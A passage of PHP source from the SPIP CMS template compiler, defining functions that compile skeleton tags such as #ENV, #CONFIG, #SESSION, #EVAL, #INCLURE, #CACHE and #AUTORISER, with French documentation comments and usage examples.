racine * * Signature : `#CHEMIN{chemin/vers/fichier.ext}` * * Retourne une chaîne vide si le fichier n'est pas trouvé. * * @balise * @link http://www.spip.net/4332 * @see find_in_path() Recherche de chemin * @example * ``` * [<script type="text/javascript" src="(#CHEMIN{javascript/jquery.flot.js})"></script>] * [<link rel="stylesheet" href="(#CHEMIN{css/perso.css}|direction_css)" type="text/css" />] * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_CHEMIN_dist($p) { $arg = interprete_argument_balise(1, $p); if (!$arg) { $msg = array('zbug_balise_sans_argument', array('balise' => ' CHEMIN')); erreur_squelette($msg, $p); } else { $p->code = 'find_in_path(' . $arg . ')'; } $p->interdire_scripts = false; return $p; } /** * Compile la balise `#CHEMIN_IMAGE` qui cherche une image dans le thème * de l'espace privé utilisé par SPIP et retourne son chemin complet depuis * la racine * * Signature : `#CHEMIN_IMAGE{image.png}` * * Retourne une chaîne vide si le fichier n'est pas trouvé. * * @balise * @see chemin_image() * @example * ``` * #CHEMIN_IMAGE{article-24.png} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_CHEMIN_IMAGE_dist($p) { $arg = interprete_argument_balise(1, $p); if (!$arg) { $msg = array('zbug_balise_sans_argument', array('balise' => ' CHEMIN_IMAGE')); erreur_squelette($msg, $p); } else { $p->code = 'chemin_image(' . $arg . ')'; } #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#ENV` qui permet de récupérer le contexte d'environnement * transmis à un squelette. * * La syntaxe `#ENV{toto, valeur par defaut}` * renverra `valeur par defaut` si `$toto` est vide. * * La recherche de la clé s'appuyant sur la fonction `table_valeur` * il est possible de demander un sous élément d'un tableau : * `#ENV{toto/sous/element, valeur par defaut}` retournera l'équivalent de * `#ENV{toto}|table_valeur{sous/element}` c'est-à-dire en quelque sorte * `$env['toto']['sous']['element']` s'il existe, sinon la valeur par défaut. * * Si le tableau est vide on renvoie `''` (utile pour `#SESSION`) * * Enfin, la balise utilisée seule `#ENV` retourne le tableau complet * de l'environnement. À noter que ce tableau est retourné sérialisé. * * En standard est appliqué le filtre `entites_html`, mais si l'étoile est * utilisée pour désactiver les filtres par défaut, par exemple avec * `[(#ENV*{toto})]` , il *faut* s'assurer de la sécurité * anti-javascript, par exemple en filtrant avec `safehtml` : `[(#ENV*{toto}|safehtml)]` * * * @param Champ $p * Pile ; arbre de syntaxe abstrait positionné au niveau de la balise. * @param array $src * Tableau dans lequel chercher la clé demandée en paramètre de la balise. * Par defaut prend dans le contexte du squelette. * @return Champ * Pile completée du code PHP d'exécution de la balise **/ function balise_ENV_dist($p, $src = null) { // cle du tableau desiree $_nom = interprete_argument_balise(1, $p); // valeur par defaut $_sinon = interprete_argument_balise(2, $p); // $src est un tableau de donnees sources eventuellement transmis // en absence, on utilise l'environnement du squelette $Pile[0] if (!$_nom) { // cas de #ENV sans argument : on retourne le serialize() du tableau // une belle fonction [(#ENV|affiche_env)] serait pratique if ($src) { $p->code = '(is_array($a = (' . $src . ')) ? serialize($a) : "")'; } else { $p->code = '@serialize($Pile[0])'; } } else { if (!$src) { $src = '@$Pile[0]'; } if ($_sinon) { $p->code = "sinon(table_valeur($src, (string)$_nom, null), $_sinon)"; } else { $p->code = "table_valeur($src, (string)$_nom, null)"; } } #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#CONFIG` qui retourne une valeur de configuration * * Cette balise appelle la fonction `lire_config()` pour obtenir les * configurations du site. * * Par exemple `#CONFIG{gerer_trad}` donne 'oui ou 'non' selon le réglage. * * Le 3ème argument permet de contrôler la sérialisation du résultat * (mais ne sert que pour le dépot `meta`) qui doit parfois désérialiser, * par exemple avec `|in_array{#CONFIG{toto,#ARRAY,1}}`. Ceci n'affecte * pas d'autres dépots et `|in_array{#CONFIG{toto/,#ARRAY}}` sera * équivalent. * * Òn peut appeler d'autres tables que `spip_meta` avec un * `#CONFIG{/infos/champ,defaut}` qui lit la valeur de `champ` * dans une table des meta qui serait `spip_infos` * * @balise * @link http://www.spip.net/4335 * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise */ function balise_CONFIG_dist($p) { if (!$arg = interprete_argument_balise(1, $p)) { $arg = "''"; } $_sinon = interprete_argument_balise(2, $p); $_unserialize = sinon(interprete_argument_balise(3, $p), "false"); $p->code = '(include_spip(\'inc/config\')?lire_config(' . $arg . ',' . ($_sinon && $_sinon != "''" ? $_sinon : 'null') . ',' . $_unserialize . "):'')"; return $p; } /** * Compile la balise `#CONNECT` qui retourne le nom du connecteur * de base de données * * Retourne le nom du connecteur de base de données utilisé (le nom * du fichier `config/xx.php` sans l'extension, utilisé pour calculer * les données du squelette). * * Retourne `NULL` si le connecteur utilisé est celui par défaut de SPIP * (connect.php), sinon retourne son nom. * * @balise * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise */ function balise_CONNECT_dist($p) { $p->code = '($connect ? $connect : NULL)'; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#SESSION` qui permet d’accéder aux informations * liées au visiteur authentifié et de différencier automatiquement * le cache en fonction du visiteur. * * Cette balise est un tableau des données du visiteur (nom, email etc). * Si elle est invoquée, elle lève un drapeau dans le fichier cache, qui * permet à public/cacher de créer un cache différent par visiteur * * @balise * @link http://www.spip.net/3979 * @see balise_AUTORISER_dist() * @see balise_SESSION_SET_dist() * @example * ``` * #SESSION{nom} * ``` * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise **/ function balise_SESSION_dist($p) { $p->descr['session'] = true; $f = function_exists('balise_ENV') ? 'balise_ENV' : 'balise_ENV_dist'; $p = $f($p, '$GLOBALS["visiteur_session"]'); return $p; } /** * Compile la balise `#SESSION_SET` qui d’insérer dans la session * des données supplémentaires * * @balise * @link http://www.spip.net/3984 * @see balise_AUTORISER_dist() * @see balise_SESSION_SET_dist() * @example * ``` * #SESSION_SET{x,y} ajoute x=y dans la session du visiteur * ``` * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise **/ function balise_SESSION_SET_dist($p) { $_nom = interprete_argument_balise(1, $p); $_val = interprete_argument_balise(2, $p); if (!$_nom or !$_val) { $err_b_s_a = array('zbug_balise_sans_argument', array('balise' => 'SESSION_SET')); erreur_squelette($err_b_s_a, $p); } else { $p->code = '(include_spip("inc/session") AND session_set(' . $_nom . ',' . $_val . '))'; } $p->interdire_scripts = false; return $p; } /** * Compile la balise `#EVAL` qui évalue un code PHP * * À utiliser avec précautions ! * * @balise * @link http://www.spip.net/4587 * @example * ``` * #EVAL{6+9} * #EVAL{'date("Y-m-d")'} * #EVAL{$_SERVER['REQUEST_URI']} * #EVAL{'str_replace("r","z", "roger")'} (attention les "'" sont interdits) * ``` * * @note * `#EVAL{code}` produit `eval('return code;')` * mais si le code est une expression sans balise, on se dispense * de passer par une construction si compliquée, et le code est * passé tel quel (entre parenthèses, et protégé par interdire_scripts) * * @param Champ $p * Pile au niveau de la balise. * @return Champ * Pile completée du code PHP d'exécution de la balise **/ function balise_EVAL_dist($p) { $php = interprete_argument_balise(1, $p); if ($php) { # optimisation sur les #EVAL{une expression sans #BALISE} # attention au commentaire "// x signes" qui precede if (preg_match(",^([[:space:]]*//[^\n]*\n)'([^']+)'$,ms", $php, $r)) { $p->code = /* $r[1]. */ '(' . $r[2] . ')'; } else { $p->code = "eval('return '.$php.';')"; } } else { $msg = array('zbug_balise_sans_argument', array('balise' => ' EVAL')); erreur_squelette($msg, $p); } #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#CHAMP_SQL` qui renvoie la valeur d'un champ SQL * * Signature : `#CHAMP_SQL{champ}` * * Cette balise permet de récupérer par exemple un champ `notes` dans une table * SQL externe (impossible avec la balise `#NOTES` qui est une balise calculée). * * Ne permet pas de passer une expression comme argument, qui ne peut * être qu'un texte statique ! * * @balise * @link http://www.spip.net/4041 * @see champ_sql() * @example * ``` * #CHAMP_SQL{notes} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_CHAMP_SQL_dist($p) { if ($p->param and isset($p->param[0][1][0]) and $champ = ($p->param[0][1][0]->texte) ) { $p->code = champ_sql($champ, $p); } else { $err_b_s_a = array('zbug_balise_sans_argument', array('balise' => ' CHAMP_SQL')); erreur_squelette($err_b_s_a, $p); } #$p->interdire_scripts = true; return $p; } /** * Compile la balise `#VAL` qui retourne simplement le premier argument * qui lui est transmis * * Cela permet d'appliquer un filtre à une chaîne de caractère * * @balise * @link http://www.spip.net/4026 * @example * ``` * #VAL retourne '' * #VAL{x} retourne 'x' * #VAL{1,2} renvoie '1' (2 est considéré comme un autre paramètre) * #VAL{'1,2'} renvoie '1,2' * [(#VAL{a_suivre}|bouton_spip_rss)] * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_VAL_dist($p) { $p->code = interprete_argument_balise(1, $p); if (!strlen($p->code)) { $p->code = "''"; } $p->interdire_scripts = false; return $p; } /** * Compile la balise `#NOOP`, alias (déprécié) de `#VAL` * * Alias pour regler #948. Ne plus utiliser. * * @balise * @see balise_VAL_dist() * @deprecated Utiliser #VAL * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_NOOP_dist($p) { return balise_VAL_dist($p); } /** * Compile la balise `#REM` servant à commenter du texte * * Retourne toujours une chaîne vide. * * @balise * @link http://www.spip.net/4578 * @example * ``` * [(#REM) * Ceci est une remarque ou un commentaire, * non affiché dans le code généré * ] * ``` * * @note * La balise `#REM` n'empêche pas l'exécution des balises SPIP contenues * dedans (elle ne sert pas à commenter du code pour empêcher son * exécution). * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_REM_dist($p) { $p->code = "''"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#HTTP_HEADER` envoyant des entêtes de retour HTTP * * Doit être placée en tête de fichier et ne fonctionne pas dans une * inclusion. * * @balise * @link http://www.spip.net/4631 * @example * ``` * #HTTP_HEADER{Content-Type: text/csv; charset=#CHARSET} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_HTTP_HEADER_dist($p) { $header = interprete_argument_balise(1, $p); if (!$header) { $err_b_s_a = array('zbug_balise_sans_argument', array('balise' => 'HTTP_HEADER')); erreur_squelette($err_b_s_a, $p); } else { $p->code = "'<'.'?php header(' . _q(" . $header . ") . '); ?'.'>'"; } $p->interdire_scripts = false; return $p; } /** * Compile la balise `#FILTRE` qui exécute un filtre à l'ensemble du squelette * une fois calculé. * * Le filtrage se fait au niveau du squelette, sans s'appliquer aux `<INCLURE>`. * Plusieurs filtres peuvent être indiqués, séparés par des barres verticales `|` * * @balise * @link http://www.spip.net/4894 * @example * ``` * #FILTRE{compacte_head} * #FILTRE{supprimer_tags|filtrer_entites|trim} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_FILTRE_dist($p) { if ($p->param) { $args = array(); foreach ($p->param as $i => $ignore) { $args[] = interprete_argument_balise($i + 1, $p); } $p->code = "'<' . '" . '?php header("X-Spip-Filtre: \'.' . join('.\'|\'.', $args) . " . '\"); ?'.'>'"; $p->interdire_scripts = false; return $p; } } /** * Compile la balise `#CACHE` definissant la durée de validité du cache du squelette * * Signature : `#CACHE{duree[,type]}` * * Le premier argument est la durée en seconde du cache. Le second * (par défaut `statique`) indique le type de cache : * * - `cache-client` autorise gestion du IF_MODIFIED_SINCE * - `statique` ne respecte pas l'invalidation par modif de la base * (mais s'invalide tout de même à l'expiration du delai) * * @balise * @see ecrire/public/cacher.php * @link http://www.spip.net/4330 * @example * ``` * #CACHE{24*3600} * #CACHE{24*3600, cache-client} * #CACHE{0} pas de cache * ``` * @note * En absence de cette balise la durée est du cache est donné * par la constante `_DUREE_CACHE_DEFAUT` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_CACHE_dist($p) { if ($p->param) { $duree = valeur_numerique($p->param[0][1][0]->texte); // noter la duree du cache dans un entete proprietaire $code = "'<'.'" . '?php header("X-Spip-Cache: ' . $duree . '"); ?' . "'.'>'"; // Remplir le header Cache-Control // cas #CACHE{0} if ($duree == 0) { $code .= ".'<'.'" . '?php header("Cache-Control: no-cache, must-revalidate"); ?' . "'.'><'.'" . '?php header("Pragma: no-cache"); ?' . "'.'>'"; } // recuperer les parametres suivants $i = 1; while (isset($p->param[0][++$i])) { $pa = ($p->param[0][$i][0]->texte); if ($pa == 'cache-client' and $duree > 0 ) { $code .= ".'<'.'" . '?php header("Cache-Control: max-age=' . $duree . '"); ?' . "'.'>'"; // il semble logique, si on cache-client, de ne pas invalider $pa = 'statique'; } if ($pa == 'statique' and $duree > 0 ) { $code .= ".'<'.'" . '?php header("X-Spip-Statique: oui"); ?' . "'.'>'"; } } } else { $code = "''"; } $p->code = $code; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#INSERT_HEAD` permettant d'insérer du contenu dans * le `<head>` d'une page HTML * * La balise permet aux plugins d'insérer des styles, js ou autre * dans l'entête sans modification du squelette. * Les css doivent être inserées de préférence par `#INSERT_HEAD_CSS` * pour en faciliter la surcharge. * * On insère ici aussi un morceau de PHP qui verifiera à l'exécution * que le pipeline `insert_head_css` a bien été vu * et dans le cas contraire l'appelera. Ceal permet de ne pas oublier * les css de `#INSERT_HEAD_CSS` même si cette balise n'est pas presente. * * Il faut mettre ce php avant le `insert_head` car le compresseur y mets * ensuite un php du meme type pour collecter * CSS et JS, et on ne veut pas qu'il rate les css insérées en fallback * par `insert_head_css_conditionnel`. * * @link http://www.spip.net/4629 * @see balise_INSERT_HEAD_CSS_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_INSERT_HEAD_dist($p) { $p->code = "'<'.'" . '?php header("X-Spip-Filtre: insert_head_css_conditionnel"); ?' . "'.'>'"; $p->code .= ". pipeline('insert_head','<!-- insert_head -->')"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#INSERT_HEAD_CSS` homologue de `#INSERT_HEAD` pour les CSS * * Et par extension pour le JS inline qui doit préférentiellement * être inséré avant les CSS car bloquant sinon. * * @link http://www.spip.net/4605 * @see balise_INSERT_HEAD_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_INSERT_HEAD_CSS_dist($p) { $p->code = "pipeline('insert_head_css','<!-- insert_head_css -->')"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#INCLUDE` alias de `#INCLURE` * * @balise * @see balise_INCLURE_dist() * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_INCLUDE_dist($p) { if (function_exists('balise_INCLURE')) { return balise_INCLURE($p); } else { return balise_INCLURE_dist($p); } } /** * Compile la balise `#INCLURE` qui inclut un résultat de squelette * * Signature : `[(#INCLURE{fond=nom_du_squelette, argument, argument=xx})]` * * L'argument `env` permet de transmettre tout l'environnement du squelette * en cours au squelette inclus. * * On parle d’inclusion « statique » car le résultat de compilation est * ajouté au squelette en cours, dans le même fichier de cache. * Cette balise est donc différente d’une inclusion « dynamique » avec * `<INCLURE.../>` qui, elle, crée un fichier de cache séparé * (avec une durée de cache qui lui est propre). * * L'inclusion est realisée au calcul du squelette, pas au service * ainsi le produit du squelette peut être utilisé en entrée de filtres * à suivre. On peut faire un `#INCLURE{fichier}` sans squelette * (Incompatible avec les balises dynamiques). * * @balise * @example * ``` * [(#INCLURE{fond=inclure/documents,id_article, env})] * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_INCLURE_dist($p) { $id_boucle = $p->id_boucle; // la lang n'est pas passe de facon automatique par argumenter // mais le sera pas recuperer_fond, sauf si etoile=>true est passe // en option $_contexte = argumenter_inclure($p->param, true, $p, $p->boucles, $id_boucle, false, false); // erreur de syntaxe = fond absent // (2 messages d'erreur SPIP pour le prix d'un, mais pas d'erreur PHP if (!$_contexte) { $contexte = array(); } if (isset($_contexte['fond'])) { $f = $_contexte['fond']; // toujours vrai : if (preg_match('/^.fond.\s*=>(.*)$/s', $f, $r)) { $f = $r[1]; unset($_contexte['fond']); } else { spip_log("compilation de #INCLURE a revoir"); } // #INCLURE{doublons} if (isset($_contexte['doublons'])) { $_contexte['doublons'] = "'doublons' => \$doublons"; } // Critere d'inclusion {env} (et {self} pour compatibilite ascendante) $flag_env = false; if (isset($_contexte['env']) or isset($_contexte['self'])) { $flag_env = true; unset($_contexte['env']); } $_options = array(); if (isset($_contexte['ajax'])) { $_options[] = preg_replace(",=>(.*)$,ims", '=> ($v=(\\1))?$v:true', $_contexte['ajax']); unset($_contexte['ajax']); } if ($p->etoile) { $_options[] = "'etoile'=>true"; } $_options[] = "'compil'=>array(" . memoriser_contexte_compil($p) . ")"; $_l = 'array(' . join(",\n\t", $_contexte) . ')'; if ($flag_env) { $_l = "array_merge(\$Pile[0],$_l)"; } $p->code = sprintf(CODE_RECUPERER_FOND, $f, $_l, join(',', $_options), "_request('connect')"); } elseif (!isset($_contexte[1])) { $msg = array('zbug_balise_sans_argument', array('balise' => ' INCLURE')); erreur_squelette($msg, $p); } else { $p->code = 'charge_scripts(' . $_contexte[1] . ',false)'; } $p->interdire_scripts = false; // la securite est assuree par recuperer_fond return $p; } /** * Compile la balise `#MODELE` qui inclut un résultat de squelette de modèle * * `#MODELE{nom}` insère le résultat d’un squelette contenu dans le * répertoire `modeles/`. L’identifiant de la boucle parente est transmis * par défaut avec le paramètre `id` à cette inclusion. * * Des arguments supplémentaires peuvent être transmis : * `[(#MODELE{nom, argument=xx, argument})]` * * @balise * @see balise_INCLURE_dist() * @example * ``` * #MODELE{article_traductions} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_MODELE_dist($p) { $_contexte = argumenter_inclure($p->param, true, $p, $p->boucles, $p->id_boucle, false); // erreur de syntaxe = fond absent // (2 messages d'erreur SPIP pour le prix d'un, mais pas d'erreur PHP if (!$_contexte) { $contexte = array(); } if (!isset($_contexte[1])) { $msg = array('zbug_balise_sans_argument', array('balise' => ' MODELE')); erreur_squelette($msg, $p); } else { $nom = $_contexte[1]; unset($_contexte[1]); if (preg_match("/^\s*'[^']*'/s", $nom)) { $nom = "'modeles/" . substr($nom, 1); } else { $nom = "'modeles/' . $nom"; } $flag_env = false; if (isset($_contexte['env'])) { $flag_env = true; unset($_contexte['env']); } // Incoherence dans la syntaxe du contexte. A revoir. // Reserver la cle primaire de la boucle courante si elle existe if (isset($p->boucles[$p->id_boucle]->primary)) { $primary = $p->boucles[$p->id_boucle]->primary; if (!strpos($primary, ',')) { $id = champ_sql($primary, $p); $_contexte[] = "'$primary'=>" . $id; $_contexte[] = "'id'=>" . $id; } } $_contexte[] = "'recurs'=>(++\$recurs)"; $connect = ''; if (isset($p->boucles[$p->id_boucle])) { $connect = $p->boucles[$p->id_boucle]->sql_serveur; } $_options = memoriser_contexte_compil($p); $_options = "'compil'=>array($_options), 'trim'=>true"; if (isset($_contexte['ajax'])) { $_options .= ", " . preg_replace(",=>(.*)$,ims", '=> ($v=(\\1))?$v:true', $_contexte['ajax']); unset($_contexte['ajax']); } $_l = 'array(' . join(",\n\t", $_contexte) . ')'; if ($flag_env) { $_l = "array_merge(\$Pile[0],$_l)"; } $page = sprintf(CODE_RECUPERER_FOND, $nom, $_l, $_options, _q($connect)); $p->code = "\n\t(((\$recurs=(isset(\$Pile[0]['recurs'])?\$Pile[0]['recurs']:0))>=5)? '' :\n\t$page)\n"; $p->interdire_scripts = false; // securite assuree par le squelette } return $p; } /** * Compile la balise `#SET` qui affecte une variable locale au squelette * * Signature : `#SET{cle,valeur}` * * @balise * @link http://www.spip.net/3990 Balises #SET et #GET * @see balise_GET_dist() * @example * ``` * #SET{nb,5} * #GET{nb} // affiche 5 * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_SET_dist($p) { $_nom = interprete_argument_balise(1, $p); $_val = interprete_argument_balise(2, $p); if (!$_nom or !$_val) { $err_b_s_a = array('zbug_balise_sans_argument', array('balise' => 'SET')); erreur_squelette($err_b_s_a, $p); } // affectation $_zzz inutile, mais permet de contourner un bug OpCode cache sous PHP 5.5.4 // cf https://bugs.php.net/bug.php?id=65845 else { $p->code = "vide(\$Pile['vars'][\$_zzz=(string)$_nom] = $_val)"; } $p->interdire_scripts = false; // la balise ne renvoie rien return $p; } /** * Compile la balise `#GET` qui récupère une variable locale au squelette * * Signature : `#GET{cle[,defaut]}` * * La clé peut obtenir des sous clés séparés par des `/` * * @balise * @link http://www.spip.net/3990 Balises #SET et #GET * @see balise_SET_dist() * @example * ``` * #SET{nb,5} * #GET{nb} affiche 5 * #GET{nb,3} affiche la valeur de nb, sinon 3 * * #SET{nb,#ARRAY{boucles,3}} * #GET{nb/boucles} affiche 3, équivalent à #GET{nb}|table_valeur{boucles} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_GET_dist($p) { $p->interdire_scripts = false; // le contenu vient de #SET, donc il est de confiance if (function_exists('balise_ENV')) { return balise_ENV($p, '$Pile["vars"]'); } else { return balise_ENV_dist($p, '$Pile["vars"]'); } } /** * Compile la balise `#DOUBLONS` qui redonne les doublons enregistrés * * - `#DOUBLONS{mots}` ou `#DOUBLONS{mots,famille}` * donne l'état des doublons `(MOTS)` à cet endroit * sous forme de tableau d'id_mot comme `array(1,2,3,...)` * - `#DOUBLONS` tout seul donne la liste brute de tous les doublons * - `#DOUBLONS*{mots}` donne la chaine brute `,1,2,3,...` * (changera si la gestion des doublons evolue) * * @balise * @link http://www.spip.net/4123 * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_DOUBLONS_dist($p) { if ($type = interprete_argument_balise(1, $p)) { if ($famille = interprete_argument_balise(2, $p)) { $type .= '.' . $famille; } $p->code = '(isset($doublons[' . $type . ']) ? $doublons[' . $type . '] : "")'; if (!$p->etoile) { $p->code = 'array_filter(array_map("intval",explode(",",' . $p->code . ')))'; } } else { $p->code = '$doublons'; } $p->interdire_scripts = false; return $p; } /** * Compile la balise `#PIPELINE` pour permettre d'insérer des sorties de * pipeline dans un squelette * * @balise * @see pipeline() * @example * ``` * #PIPELINE{nom} * #PIPELINE{nom,données} * #PIPELINE{boite_infos,#ARRAY{data,'',args,#ARRAY{type,rubrique,id,#ENV{id_rubrique}}}} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_PIPELINE_dist($p) { $_pipe = interprete_argument_balise(1, $p); if (!$_pipe) { $err_b_s_a = array('zbug_balise_sans_argument', array('balise' => 'PIPELINE')); erreur_squelette($err_b_s_a, $p); } else { $_flux = interprete_argument_balise(2, $p); $_flux = $_flux ? $_flux : "''"; $p->code = "pipeline( $_pipe , $_flux )"; $p->interdire_scripts = false; } return $p; } /** * Compile la balise `#EDIT` qui ne fait rien dans SPIP * * Cette balise ne retourne rien mais permet d'indiquer, pour certains plugins * qui redéfinissent cette balise, le nom du champ SQL (ou le nom d'un contrôleur) * correspondant à ce qui est édité. Cela sert particulièrement au plugin Crayons. * Ainsi en absence du plugin, la balise est toujours reconnue (mais n'a aucune action). * * @balise * @link http://www.spip.net/4584 * @example * ``` * [<div class="#EDIT{texte} texte">(#TEXTE)</div>] * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_EDIT_dist($p) { $p->code = "''"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#TOTAL_UNIQUE` qui récupère le nombre d'éléments * différents affichés par le filtre `unique` * * @balise * @link http://www.spip.net/4374 * @see unique() * @example * ``` * #TOTAL_UNIQUE affiche le nombre de #BALISE|unique * #TOTAL_UNIQUE{famille} afiche le nombre de #BALISE|unique{famille} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_TOTAL_UNIQUE_dist($p) { $_famille = interprete_argument_balise(1, $p); $_famille = $_famille ? $_famille : "''"; $p->code = "unique('', $_famille, true)"; return $p; } /** * Compile la balise `#ARRAY` créant un tableau PHP associatif * * Crée un `array` PHP à partir d'arguments calculés. * Chaque paire d'arguments représente la clé et la valeur du tableau. * * @balise * @link http://www.spip.net/4009 * @example * ``` * #ARRAY{key1,val1,key2,val2 ...} retourne * array( key1 => val1, key2 => val2, ...) * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_ARRAY_dist($p) { $_code = array(); $n = 1; do { $_key = interprete_argument_balise($n++, $p); $_val = interprete_argument_balise($n++, $p); if ($_key and $_val) { $_code[] = "$_key => $_val"; } } while ($_key && $_val); $p->code = 'array(' . join(', ', $_code) . ')'; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#LISTE` qui crée un tableau PHP avec les valeurs, sans préciser les clés * * @balise * @link http://www.spip.net/5547 * @example * ``` * #LISTE{a,b,c,d,e} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer */ function balise_LISTE_dist($p) { $_code = array(); $n = 1; while ($_val = interprete_argument_balise($n++, $p)) { $_code[] = $_val; } $p->code = 'array(' . join(', ', $_code) . ')'; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#AUTORISER` qui teste une autorisation * * Appelle la fonction `autoriser()` avec les mêmes arguments, * et renvoie un espace ' ' si OK (l'action est autorisée), * sinon une chaine vide '' (l'action n'est pas autorisée). * * Cette balise créée un cache par session. * * Signature : `#AUTORISER{faire[,type[,id[,auteur[,options]]]}` * * @note * La priorité des opérateurs exige && plutot que AND * * @balise * @link http://www.spip.net/3896 * @see autoriser() * @see sinon_interdire_acces() * @example * ``` * [(#AUTORISER{modifier,rubrique,#ID_RUBRIQUE}) ... ] * [(#AUTORISER{voir,rubrique,#ID_RUBRIQUE}|sinon_interdire_acces)] * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_AUTORISER_dist($p) { $_code = array(); $p->descr['session'] = true; // faire un cache par session $n = 1; while ($_v = interprete_argument_balise($n++, $p)) { $_code[] = $_v; } $p->code = '((function_exists("autoriser")||include_spip("inc/autoriser"))&&autoriser(' . join(', ', $_code) . ')?" ":"")'; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#PLUGIN` qui permet d’afficher les informations d'un plugin actif * * @balise * @see filtre_info_plugin_dist() * @link http://www.spip.net/4591 * @example * ``` * #PLUGIN Retourne la liste sérialisée des préfixes de plugins actifs * #PLUGIN{prefixe} Renvoie true si le plugin avec ce préfixe est actif * #PLUGIN{prefixe, x} Renvoie l'information x du plugin (s'il est actif) * #PLUGIN{prefixe, tout} Renvoie toutes les informations du plugin (s'il est actif) * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_PLUGIN_dist($p) { $plugin = interprete_argument_balise(1, $p); $plugin = isset($plugin) ? str_replace('\'', '"', $plugin) : '""'; $type_info = interprete_argument_balise(2, $p); $type_info = isset($type_info) ? str_replace('\'', '"', $type_info) : '"est_actif"'; $f = chercher_filtre('info_plugin'); $p->code = $f . '(' . $plugin . ', ' . $type_info . ')'; return $p; } /** * Compile la balise `#AIDER` qui permet d’afficher l’icone de l’aide * au sein des squelettes. * * @balise * @see inc_aide_dist() * @link http://www.spip.net/4733 * @example * ``` * #AIDER{titre} * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_AIDER_dist($p) { $_motif = interprete_argument_balise(1, $p); $s = "'" . addslashes($p->descr['sourcefile']) . "'"; $p->code = "((\$aider=charger_fonction('aide','inc',true))?\$aider($_motif,$s, \$Pile[0]):'')"; return $p; } /** * Compile la balise `#ACTION_FORMULAIRE` qui insère le contexte * des formulaires charger / vérifier / traiter avec les hidden de * l'URL d'action * * Accèpte 2 arguments optionnels : * - L'url de l'action (par défaut `#ENV{action}` * - Le nom du formulaire (par défaut `#ENV{form}` * * @balise * @see form_hidden() * @example * ``` * <form method='post' action='#ENV{action}'><div> * #ACTION_FORMULAIRE * ``` * * @param Champ $p * Pile au niveau de la balise * @return Champ * Pile complétée par le code à générer **/ function balise_ACTION_FORMULAIRE($p) { if (!$_url = interprete_argument_balise(1, $p)) { $_url = "@\$Pile[0]['action']"; } if (!$_form = interprete_argument_balise(2, $p)) { $_form = "@\$Pile[0]['form']"; } // envoyer le nom du formulaire que l'on traite // transmettre les eventuels args de la balise formulaire $p->code = " '<div>' . form_hidden($_url) . '<input name=\'formulaire_action\' type=\'hidden\' value=\'' . $_form . '\' />' . '<input name=\'formulaire_action_args\' type=\'hidden\' value=\'' . @\$Pile[0]['formulaire_args']. '\' />' . (!empty(\$Pile[0]['_hidden']) ? @\$Pile[0]['_hidden'] : '') . '</div>'"; $p->interdire_scripts = false; return $p; } /** * Compile la balise `#BOUTON_ACTION` qui génère un bouton d'action en post, ajaxable * * Cette balise s'utilise à la place des liens `action_auteur`, sous la forme * * - `#BOUTON_ACTION{libelle,url}` * - ou `#BOUTON_ACTION{libelle,url,ajax}` pour que l'action soit ajax comme un lien `class='ajax'` * - ou `#BOUTON_ACTION{libelle,url,ajax,message_confirmation}` pour utiliser un message de confirmation * - ou encore `#BOUTON_ACTION{libelle[,url[,ajax[,message_confirmation[,title[,callback]]]]]}` * * @balise * @link http://www.spip.net/4583 * @example * ``` * [(#AUTORISER{reparer,base}) * 